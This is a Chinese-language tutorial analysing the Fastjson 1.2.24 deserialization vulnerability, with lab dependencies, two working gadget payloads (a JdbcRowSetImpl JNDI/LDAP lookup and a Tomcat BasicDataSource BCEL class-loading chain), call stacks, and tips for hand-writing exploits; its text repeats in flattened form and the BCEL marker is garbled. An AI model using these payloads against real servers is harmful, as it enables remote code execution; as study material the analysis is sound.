fastjson结合JNDI和Tomcat
字数 1029 2025-08-24 07:48:22

Fastjson反序列化漏洞分析与利用

1. Fastjson简介

Fastjson是阿里巴巴的开源JSON解析库,它可以:

  • 解析JSON格式的字符串
  • 支持将Java Bean序列化为JSON字符串
  • 可以从JSON字符串反序列化到JavaBean

漏洞利用点:对JavaBean格式类的序列化与反序列化会有方法执行,可以构造恶意执行链。

2. 环境搭建

依赖配置

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>8.0.36</version>
</dependency>

3. 漏洞利用方式

3.1 可出网环境利用

import com.alibaba.fastjson.JSON;

public class DemoTest {
    public static void main(String[] args) {
        JSON.parse("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/lasthh\",\"autoCommit\":\"true\"}");
    }
}

3.2 不可出网环境利用

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Path;
import java.io.*;
import java.nio.file.Paths;

public class DemoTest1 {
    public static void main(String[] args) throws Exception {
        ClassLoader classLoader = new ClassLoader();
        byte[] bytes = Files.readAllBytes(Paths.get("E:\\JAVA\\fastjson\\target\\classes\\Exp1.class"));
        String code = Utility.encode(bytes, true);
        
        JSON.parseObject("{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"
$$
BCEL
$$
" + code + "\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}");
    }
}

4. 调用栈分析

4.1 可出网利用调用栈

lookup: 94, ldapURLContext (com.sun.jndi.url.ldap)
lookup: 417, InitialContext (javax.naming)
connect: 624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit: 4067, JdbcRowSetImpl (com.sun.rowset)
invoke0: -1, NativeMethodAccessorImpl (sun.reflect)
invoke: 62, NativeMethodAccessorImpl (sun.reflect)
invoke: 43, DelegatingMethodAccessorImpl (sun.reflect)
invoke: 497, Method (java.lang.reflect)
setValue: 96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField: 83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField: 773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze: 600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest: 922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze: -1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze: 184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject: 368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse: 1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse: 1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse: 137, JSON (com.alibaba.fastjson)
parse: 128, JSON (com.alibaba.fastjson)
main: 5, DemoTest

4.2 不可出网利用调用栈

defineClass: 642, ClassLoader (java.lang)
loadClass: 163, ClassLoader (com.sun.org.apache.bcel.internal.util)
loadClass: 357, ClassLoader (java.lang)
forName0: -1, Class (java.lang)
forName: 348, Class (java.lang)
createConnectionFactory: 2125, BasicDataSource (org.apache.tomcat.dbcp.dbcp2)
createDataSource: 2032, BasicDataSource (org.apache.tomcat.dbcp.dbcp2)
getConnection: 1532, BasicDataSource (org.apache.tomcat.dbcp.dbcp2)
main: 23, DemoTest1

5. 漏洞原理分析

5.1 可出网利用分析

  1. 首先调用com.sun.rowset.JdbcRowSetImplsetDataSourceName方法

    • 父类成功赋值dataSourceName
  2. 然后调用setAutoCommit方法

    • this.conn默认为null,进入connect方法体
    • this.getDataSourceName不为空(已赋值)
    • 流程走到lookup(),触发JNDI注入

5.2 不可出网利用分析

  1. 关键点在com.sun.org.apache.bcel.internal.util.ClassLoader类的protected Class loadClass(String class_name, boolean resolve)

    • 可以传入BCEL类型的字节码
    • 会加载字节码并实例化
  2. 利用方式:

    ClassLoader classLoader = new ClassLoader();
    byte[] bytes = Files.readAllBytes(Paths.get("E:\\JAVA\\fastjson\\target\\classes\\Exp1.class"));
    String code = Utility.encode(bytes, true);
    classLoader.loadClass("
    

\[BCEL \]

" + code).newInstance();


3. 通过`org.apache.tomcat.dbcp.dbcp2.BasicDataSource`类调用
- `JSON.parseObject`会执行类下的setter方法和符合条件的getter方法
- 最终调用链:
  - `getConnection()`
  - `createDataSource()`
  - `createConnectionFactory()`
- 关键代码:
  ```java
  driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
  ```
  - `true`表示加载类时会执行static代码块

4. Fastjson反序列化赋值:
```java
JSON.parseObject("{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"
$$
BCEL
$$
" + code + "\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}");

6. 注意事项

  1. 对于JdbcRowSetImpl类利用:

    • 需要目标可以出网
    • JDK版本不能太高
    • 限制性强
  2. 对于BasicDataSource类利用:

    • 目标不需要出网
    • 需要有Tomcat的依赖
    • 较为普遍
  3. 手写EXP时的注意点:

    • dataSourceName传值要加载远程Reference绑定的恶意对象
    • autoCommit传值,任意的布尔类型都可以
Fastjson反序列化漏洞分析与利用 1. Fastjson简介 Fastjson是阿里巴巴的开源JSON解析库,它可以: 解析JSON格式的字符串 支持将Java Bean序列化为JSON字符串 可以从JSON字符串反序列化到JavaBean 漏洞利用点 :对JavaBean格式类的序列化与反序列化会有方法执行,可以构造恶意执行链。 2. 环境搭建 依赖配置 3. 漏洞利用方式 3.1 可出网环境利用 3.2 不可出网环境利用 4. 调用栈分析 4.1 可出网利用调用栈 4.2 不可出网利用调用栈 5. 漏洞原理分析 5.1 可出网利用分析 首先调用 com.sun.rowset.JdbcRowSetImpl 的 setDataSourceName 方法 父类成功赋值 dataSourceName 然后调用 setAutoCommit 方法 this.conn 默认为null,进入 connect 方法体 this.getDataSourceName 不为空(已赋值) 流程走到 lookup() ,触发JNDI注入 5.2 不可出网利用分析 关键点在 com.sun.org.apache.bcel.internal.util.ClassLoader 类的 protected Class loadClass(String class_name, boolean resolve) 可以传入BCEL类型的字节码 会加载字节码并实例化 利用方式: 通过 org.apache.tomcat.dbcp.dbcp2.BasicDataSource 类调用 JSON.parseObject 会执行类下的setter方法和符合条件的getter方法 最终调用链: getConnection() createDataSource() createConnectionFactory() 关键代码: true 表示加载类时会执行static代码块 Fastjson反序列化赋值: 6. 注意事项 对于 JdbcRowSetImpl 类利用: 需要目标可以出网 JDK版本不能太高 限制性强 对于 BasicDataSource 类利用: 目标不需要出网 需要有Tomcat的依赖 较为普遍 手写EXP时的注意点: 对 dataSourceName 传值要加载远程Reference绑定的恶意对象 对 autoCommit 传值,任意的布尔类型都可以